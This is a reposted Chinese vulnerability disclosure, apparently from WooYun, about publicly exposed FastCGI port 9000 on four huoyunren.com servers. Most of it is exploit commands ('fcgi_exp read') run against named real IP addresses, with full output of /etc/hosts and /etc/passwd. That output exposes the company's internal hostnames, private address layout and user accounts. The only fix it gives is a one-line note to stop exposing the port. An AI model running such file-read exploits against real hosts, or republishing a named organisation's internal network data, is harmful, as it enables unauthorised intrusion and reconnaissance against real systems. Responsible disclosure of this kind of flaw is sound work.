记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

huoyunren.com 4台外网IP Fast-Cgi远程利用

2015-06-25 05:15

以60.28.210.240为例,为huoyunren.com某个后台,其他ip都可以直接读取服务器中的文件数据



code 区域
liet@kali:~/code/exp/php/test$ ../fcgi_exp read 60.28.210.240 9000 /etc/hosts

X-Powered-By: PHP/5.3.6

Content-type: text/html



127.0.0.1 localhost cre.huoyunren.com elt.huoyunren.com

10.3.0.171 vm-logstorage-01

10.3.0.172 vm-logstorage-02

10.3.0.173 vm-logstorage-03

10.3.0.174 vm-logcompute-01

10.3.0.175 vm-logcompute-02

10.3.0.176 vm-logredis-01



10.3.0.180 vm-memcache-01

10.3.0.181 vm-memcache-02

10.3.0.182 vm-redis-01

10.3.0.183 vm-redis-02



10.3.0.190 vm-dsp-01

10.3.0.191 vm-dsp-02

10.3.0.192 vm-dsp-03

10.3.0.193 vm-dsp-04

10.3.0.194 vm-dsp-05

10.3.0.195 vm-dsp-06



10.3.0.231 vm-zookeeper-01

10.3.0.232 vm-zookeeper-02

10.3.0.233 vm-zookeeper-03

10.3.0.234 vm-zookeeper-04

10.3.0.235 vm-zookeeper-05



10.3.0.239 vm-g7web-01

10.3.0.240 vm-g7web-02

10.3.0.241 vm-g7web-03

10.3.0.242 vm-g7web-04



10.3.0.248 vm-lvs-01

10.3.0.249 vm-lvs-02

60.28.210.250 vm-vip-01



10.3.0.251 vm-jiankong-01

10.3.0.229 api.huoyunren.com





code 区域
liet@kali:~/code/exp/php/test$ ../fcgi_exp read 60.28.210.240 9000 /etc/passwd

X-Powered-By: PHP/5.3.6

Content-type: text/html



root:x:0:0:root:/root:/bin/bash

bin:x:1:1:bin:/bin:/sbin/nologin

daemon:x:2:2:daemon:/sbin:/sbin/nologin

adm:x:3:4:adm:/var/adm:/sbin/nologin

lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin

sync:x:5:0:sync:/sbin:/bin/sync

shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown

halt:x:7:0:halt:/sbin:/sbin/halt

mail:x:8:12:mail:/var/spool/mail:/sbin/nologin

uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin

operator:x:11:0:operator:/root:/sbin/nologin

games:x:12:100:games:/usr/games:/sbin/nologin

gopher:x:13:30:gopher:/var/gopher:/sbin/nologin

ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin

nobody:x:99:99:Nobody:/:/sbin/nologin

dbus:x:81:81:System message bus:/:/sbin/nologin

usbmuxd:x:113:113:usbmuxd user:/:/sbin/nologin

vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin

rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin

rtkit:x:499:497:RealtimeKit:/proc:/sbin/nologin

avahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologin

abrt:x:173:173::/etc/abrt:/sbin/nologin

rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin

nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin

haldaemon:x:68:68:HAL daemon:/:/sbin/nologin

gdm:x:42:42::/var/lib/gdm:/sbin/nologin

ntp:x:38:38::/etc/ntp:/sbin/nologin

apache:x:48:48:Apache:/var/www:/sbin/nologin

saslauth:x:498:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin

postfix:x:89:89::/var/spool/postfix:/sbin/nologin

pulse:x:497:496:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin

sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin

dovecot:x:97:97:Dovecot IMAP server:/usr/libexec/dovecot:/sbin/nologin

dovenull:x:496:493:Dovecot's unauthorized user:/usr/libexec/dovecot:/sbin/nologin

tcpdump:x:72:72::/:/sbin/nologin

nagios:x:500:500::/home/nagios:/sbin/nologin

ldap:x:55:55:LDAP User:/var/lib/ldap:/sbin/nologin

webapps:x:501:501::/home/webapps:/bin/bash

mysql:x:502:502::/home/mysql:/sbin/nologin

ganglia:x:495:492:Ganglia Monitoring System:/var/lib/ganglia:/sbin/nologin

漏洞证明:

code 区域
liet@kali:~/code/exp/php/test$ ../fcgi_exp read 60.28.210.241 9000 /etc/hosts

X-Powered-By: PHP/5.3.6

Content-type: text/html



127.0.0.1 localhost

10.3.0.171 vm-logstorage-01

10.3.0.172 vm-logstorage-02

10.3.0.173 vm-logstorage-03

10.3.0.174 vm-logcompute-01

10.3.0.175 vm-logcompute-02

10.3.0.176 vm-logredis-01



10.3.0.180 vm-memcache-01

10.3.0.181 vm-memcache-02

10.3.0.182 vm-redis-01

10.3.0.183 vm-redis-02



10.3.0.190 vm-dsp-01

10.3.0.191 vm-dsp-02

10.3.0.192 vm-dsp-03

10.3.0.193 vm-dsp-04

10.3.0.194 vm-dsp-05

10.3.0.195 vm-dsp-06



10.3.0.231 vm-zookeeper-01

10.3.0.232 vm-zookeeper-02

10.3.0.233 vm-zookeeper-03

10.3.0.234 vm-zookeeper-04

10.3.0.235 vm-zookeeper-05



10.3.0.239 vm-g7web-01

10.3.0.240 vm-g7web-02

10.3.0.241 vm-g7web-03

10.3.0.242 vm-g7web-04



10.3.0.248 vm-lvs-01

10.3.0.249 vm-lvs-02

60.28.210.250 vm-vip-01



10.3.0.251 vm-jiankong-01

10.3.0.229 api.huoyunren.com



code 区域
liet@kali:~/code/exp/php/test$ ../fcgi_exp read 60.28.210.242 9000 /etc/hosts

X-Powered-By: PHP/5.3.6

Content-type: text/html



127.0.0.1 localhost ips2test.huoyunren.com ips2.huoyunren.com gsp.huoyunren.com

#211.150.64.59 smtp.huoyunren.com

10.3.0.214 master.chinawayltd.com

10.3.0.171 vm-logstorage-01

10.3.0.172 vm-logstorage-02

10.3.0.173 vm-logstorage-03

10.3.0.174 vm-logcompute-01

10.3.0.175 vm-logcompute-02

10.3.0.176 vm-logredis-01



10.3.0.180 vm-memcache-01

10.3.0.181 vm-memcache-02

10.3.0.182 vm-redis-01

10.3.0.183 vm-redis-02



10.3.0.190 vm-dsp-01

10.3.0.191 vm-dsp-02

10.3.0.192 vm-dsp-03

10.3.0.193 vm-dsp-04

10.3.0.194 vm-dsp-05

10.3.0.195 vm-dsp-06



10.3.0.231 vm-zookeeper-01

10.3.0.232 vm-zookeeper-02

10.3.0.233 vm-zookeeper-03

10.3.0.234 vm-zookeeper-04

10.3.0.235 vm-zookeeper-05



10.3.0.239 vm-g7web-01

10.3.0.240 vm-g7web-02

10.3.0.241 vm-g7web-03

10.3.0.242 vm-g7web-04



10.3.0.248 vm-lvs-01

10.3.0.249 vm-lvs-02

60.28.210.250 vm-vip-01



10.3.0.251 vm-jiankong-01

10.3.0.229 vm-api-01 api.huoyunren.com

修复方案:

9000 不对外

知识来源: www.wooyun.org/bugs/wooyun-2015-0121612

阅读:194733 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“huoyunren.com 4台外网IP Fast-Cgi远程利用”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云